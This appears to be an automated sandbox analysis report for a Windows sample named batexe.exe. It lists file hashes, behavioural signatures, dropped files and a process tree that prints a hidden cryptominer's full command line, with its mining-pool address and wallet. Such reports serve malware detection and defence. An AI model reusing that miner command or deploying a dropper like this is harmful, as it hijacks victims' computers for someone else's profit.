73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
294s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 01:20

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3904	b2e.exe
3948	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3948	cpuminer-sse2.exe
3948	cpuminer-sse2.exe
3948	cpuminer-sse2.exe
3948	cpuminer-sse2.exe
3948	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4680-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 3904	4680	batexe.exe	74
PID 4680 wrote to memory of 3904	4680	batexe.exe	74
PID 4680 wrote to memory of 3904	4680	batexe.exe	74
PID 3904 wrote to memory of 3436	3904	b2e.exe	75
PID 3904 wrote to memory of 3436	3904	b2e.exe	75
PID 3904 wrote to memory of 3436	3904	b2e.exe	75
PID 3436 wrote to memory of 3948	3436	cmd.exe	78
PID 3436 wrote to memory of 3948	3436	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Users\Admin\AppData\Local\Temp\97AC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\97AC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\97AC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9A0D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\97AC.tmp\b2e.exe

Filesize
9.0MB

MD5
b4b19cb639b6d67fbfc07c52c6346fde

SHA1
20f6302f57a579d48ef7cb7a452fb314e5dac03c

SHA256
0b58357ad712c7f79812b5b439d9c4200fe4c143aa9b91df2b3b3d2dbfa7aaca

SHA512
49de30bf60d99076874da8713eaec914b6607ad0cbc4e51af400af98ac9901f3cfade6aa2ded0f41eb5a2014c29580c0b47e155e7c9774db62687583d73dba00

Download Submit
C:\Users\Admin\AppData\Local\Temp\97AC.tmp\b2e.exe

Filesize
10.3MB

MD5
4f65746c5155649200369e0bb0d744a4

SHA1
6c845da6c8d584aacc6f83bb97fd7110e22450fb

SHA256
110537d50246e0bba7ffd6e8df34c7fdf3f3a9b8ada51be535b1502df4d20efb

SHA512
44af6588ab1eca0ada4584dc51f5604f9656097bd52ba59bfde5604c3a57735e9dba28a0943564c2069482a764f264dfcb162b90c21c6e2fa267144d099dadca

Download Submit
C:\Users\Admin\AppData\Local\Temp\9A0D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
a61ede00e5f22d5ce8891bbc544191ef

SHA1
19decc18aad59820ffa4cbb363604b262dea321a

SHA256
fa81952b79ae0cb95af9b125b69f125fe16a43e52f954725117a1357b870aab0

SHA512
5e1d21ccbf778dcebe27f71c562e58fb62d56d5357f080036779fba7a428117a1f9938035e700b2638b77b5c70ae70d6d3645631c1f5b444665c8cfba7902c59

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
ce3bf80e098e6a95a10149c393897c61

SHA1
7036cf87f29d560d398ddf4b58c09f3ad251c6a1

SHA256
dbd8ee1f2963b351fef423a9bcdaf5890e0697bbb34b2c1a7c7245d63d787e5e

SHA512
cfbfa533766a10416ace58ca992fdf8d097db4a58c5c52416984fe8ae1d71b3295d960ead903841f916732d8001f96927194eab604a2292c7b3065a96b43c237

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
e996171118851ae5747b946f8eecd2b0

SHA1
2ca1dc32df7a1262b535137ad236f120c74ec54e

SHA256
ba435bc42e48b6b6c81d13a3fdaa8fbeac07cfe402ce328698ff07ec847e156e

SHA512
15d5f5fe70d349d14c81b1f618b8b7672b53c377a0af90e6221aab6fa5f7badd0ef0709400050e65c7ae0ddaf90bad06f22ffdd3f10815bf60290f2d6983eb64

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
ac682e5df645254485fbd48954fd8105

SHA1
d159bb6daff4d5b5dac7dd916d5aaaedafee5ada

SHA256
743256279773785e58fedb349952d80cd325a3772953d0123b95dccd8cd7b22a

SHA512
672c70fcb39c00f4d3687550287555d0f0d4143d18a0b97f1a99bf7afb24b075985b02baabbb2296ed1bec07ef5455200558e89d3b12c7eda7a190697dcbbb90

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
1a7a0fd19808c90ffd4205691048a2af

SHA1
06cff5d8290e0451528d66627bb736b94e25290c

SHA256
1d09212d8f009c3f03deef4d10ae53510759d928c65285f22b58735a4a76ff11

SHA512
f766c599d746e78cafa0997a258aef23b116b909710fdd931187cc2f26c45131c62b36ace9953ab1b22eb5b7db9e0fcd607e782946a6bbb7939b12c58c005d9f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3904-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3904-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3948-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3948-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3948-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3948-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-42-0x0000000057540000-0x00000000575D8000-memory.dmp

Filesize
608KB

Download
memory/3948-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3948-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download